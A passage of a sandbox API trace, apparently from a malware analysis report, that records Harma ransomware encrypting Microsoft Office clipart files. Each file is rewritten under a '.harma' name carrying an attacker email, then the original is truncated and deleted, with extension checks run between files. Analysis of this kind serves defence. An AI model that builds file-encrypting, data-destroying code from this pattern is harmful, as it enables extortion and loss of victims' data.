(hObject=0x210) returned 1 [0144.636] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.636] SetEndOfFile (hFile=0x328) returned 1 [0144.639] CloseHandle (hObject=0x328) returned 1 [0144.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0144.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0144.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0144.640] lstrlenW (lpString=".doc") returned 4 [0144.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.640] lstrlenW (lpString=".docx") returned 5 [0144.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.640] lstrlenW (lpString=".pdf") returned 4 [0144.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.640] lstrlenW (lpString=".xls") returned 4 [0144.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.640] lstrlenW (lpString=".xlsx") returned 5 [0144.640] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.640] lstrlenW (lpString=".ppt") returned 4 [0144.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0144.640] lstrlenW (lpString=".zip") returned 4 [0144.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.640] lstrlenW (lpString=".rar") returned 4 [0144.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.640] lstrlenW (lpString=".bz2") returned 4 [0144.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.640] lstrlenW (lpString=".7z") returned 3 [0144.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0144.640] lstrlenW (lpString=".dbf") returned 4 [0144.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0144.640] lstrlenW (lpString=".1cd") returned 4 [0144.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0144.641] lstrlenW (lpString=".jpg") returned 4 [0144.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0144.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0144.641] lstrlenW (lpString=".doc") returned 4 [0144.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.641] lstrlenW (lpString=".docx") returned 5 [0144.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.641] lstrlenW (lpString=".pdf") returned 4 [0144.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.641] lstrlenW (lpString=".xls") returned 4 [0144.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.641] lstrlenW (lpString=".xlsx") returned 5 [0144.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.641] lstrlenW (lpString=".ppt") returned 4 [0144.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0144.641] lstrlenW (lpString=".zip") returned 4 [0144.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.641] lstrlenW (lpString=".rar") returned 4 [0144.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.641] lstrlenW (lpString=".bz2") returned 4 [0144.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.641] lstrlenW (lpString=".7z") returned 3 [0144.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0144.641] lstrlenW (lpString=".dbf") returned 4 [0144.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0144.642] lstrlenW (lpString=".1cd") returned 4 [0144.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0144.642] lstrlenW (lpString=".jpg") returned 4 [0144.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.642] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.642] lstrlenW (lpString="BD19988_.WMF") returned 12 [0144.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.643] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=18304) returned 1 [0144.643] CloseHandle (hObject=0x328) returned 1 [0144.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0144.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.643] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.643] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0144.644] GetLastError () returned 0x0 [0144.644] ReadFile (in: hFile=0x328, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x4780, lpOverlapped=0x0) returned 1 [0144.691] WriteFile (in: hFile=0x210, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x4790, lpOverlapped=0x0) returned 1 [0144.692] ReadFile (in: hFile=0x328, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0144.692] WriteFile (in: hFile=0x210, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0144.692] SetEndOfFile (hFile=0x210) returned 1 [0144.692] CloseHandle (hObject=0x210) returned 1 [0144.693] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.693] SetEndOfFile (hFile=0x328) returned 1 [0144.695] CloseHandle (hObject=0x328) returned 1 [0144.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0144.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0144.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0144.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0144.697] lstrlenW (lpString=".doc") returned 4 [0144.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.697] lstrlenW (lpString=".docx") returned 5 [0144.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.697] lstrlenW (lpString=".pdf") returned 4 [0144.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.697] lstrlenW (lpString=".xls") returned 4 [0144.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.697] lstrlenW (lpString=".xlsx") returned 5 [0144.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.697] lstrlenW (lpString=".ppt") returned 4 [0144.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0144.697] lstrlenW (lpString=".zip") returned 4 [0144.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.697] lstrlenW (lpString=".rar") returned 4 [0144.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.697] lstrlenW (lpString=".bz2") returned 4 [0144.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.697] lstrlenW (lpString=".7z") returned 3 [0144.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0144.697] lstrlenW (lpString=".dbf") returned 4 [0144.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0144.697] lstrlenW (lpString=".1cd") returned 4 [0144.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0144.697] lstrlenW (lpString=".jpg") returned 4 [0144.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0144.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0144.698] lstrlenW (lpString=".doc") returned 4 [0144.698] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.698] lstrlenW (lpString=".docx") returned 5 [0144.698] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0144.698] lstrlenW (lpString=".pdf") returned 4 [0144.698] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.698] lstrlenW (lpString=".xls") returned 4 [0144.698] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.698] lstrlenW (lpString=".xlsx") returned 5 [0144.698] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0144.698] lstrlenW (lpString=".ppt") returned 4 [0144.698] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0144.698] lstrlenW (lpString=".zip") returned 4 [0144.698] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.698] lstrlenW (lpString=".rar") returned 4 [0144.698] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.698] lstrlenW (lpString=".bz2") returned 4 [0144.698] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.698] lstrlenW (lpString=".7z") returned 3 [0144.698] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0144.698] lstrlenW (lpString=".dbf") returned 4 [0144.698] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0144.698] lstrlenW (lpString=".1cd") returned 4 [0144.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0144.698] lstrlenW (lpString=".jpg") returned 4 [0144.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.699] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0144.699] lstrlenW (lpString="BL00008_.WMF") returned 12 [0144.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.717] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=12520) returned 1 [0144.727] CloseHandle (hObject=0x328) returned 1 [0144.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20 [0144.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0144.728] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.728] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0144.729] GetLastError () returned 0x0 [0144.729] ReadFile (in: hFile=0x328, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x30e8, lpOverlapped=0x0) returned 1 [0145.032] WriteFile (in: hFile=0x210, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x30f0, lpOverlapped=0x0) returned 1 [0145.037] ReadFile (in: hFile=0x328, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.037] WriteFile (in: hFile=0x210, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.037] SetEndOfFile (hFile=0x210) returned 1 [0145.037] CloseHandle (hObject=0x210) returned 1 [0145.038] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.038] SetEndOfFile (hFile=0x328) returned 1 [0145.403] CloseHandle (hObject=0x328) returned 1 [0145.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0145.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0145.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0145.451] lstrlenW (lpString=".doc") returned 4 [0145.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.451] lstrlenW (lpString=".docx") returned 5 [0145.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.451] lstrlenW (lpString=".pdf") returned 4 [0145.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.451] lstrlenW (lpString=".xls") returned 4 [0145.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.451] lstrlenW (lpString=".xlsx") returned 5 [0145.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.451] lstrlenW (lpString=".ppt") returned 4 [0145.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0145.451] lstrlenW (lpString=".zip") returned 4 [0145.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.451] lstrlenW (lpString=".rar") returned 4 [0145.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.451] lstrlenW (lpString=".bz2") returned 4 [0145.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.451] lstrlenW (lpString=".7z") returned 3 [0145.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0145.452] lstrlenW (lpString=".dbf") returned 4 [0145.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0145.452] lstrlenW (lpString=".1cd") returned 4 [0145.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0145.452] lstrlenW (lpString=".jpg") returned 4 [0145.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0145.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0145.452] lstrlenW (lpString=".doc") returned 4 [0145.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString=".docx") returned 5 [0145.452] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.452] lstrlenW (lpString=".pdf") returned 4 [0145.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString=".xls") returned 4 [0145.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.452] lstrlenW (lpString=".xlsx") returned 5 [0145.452] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.452] lstrlenW (lpString=".ppt") returned 4 [0145.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0145.452] lstrlenW (lpString=".zip") returned 4 [0145.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.452] lstrlenW (lpString=".rar") returned 4 [0145.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString=".bz2") returned 4 [0145.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.452] lstrlenW (lpString=".7z") returned 3 [0145.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0145.452] lstrlenW (lpString=".dbf") returned 4 [0145.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0145.453] lstrlenW (lpString=".1cd") returned 4 [0145.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 63 [0145.453] lstrlenW (lpString=".jpg") returned 4 [0145.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.453] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.453] lstrlenW (lpString="BL00152_.WMF") returned 12 [0145.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0145.454] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=1516) returned 1 [0145.454] CloseHandle (hObject=0x210) returned 1 [0145.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x20 [0145.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0145.454] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.454] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0145.455] GetLastError () returned 0x0 [0145.455] ReadFile (in: hFile=0x210, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x5ec, lpOverlapped=0x0) returned 1 [0145.501] WriteFile (in: hFile=0x34c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x5f0, lpOverlapped=0x0) returned 1 [0145.502] ReadFile (in: hFile=0x210, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.502] WriteFile (in: hFile=0x34c, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.502] SetEndOfFile (hFile=0x34c) returned 1 [0145.502] CloseHandle (hObject=0x34c) returned 1 [0145.502] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.502] SetEndOfFile (hFile=0x210) returned 1 [0145.777] CloseHandle (hObject=0x210) returned 1 [0145.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0145.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 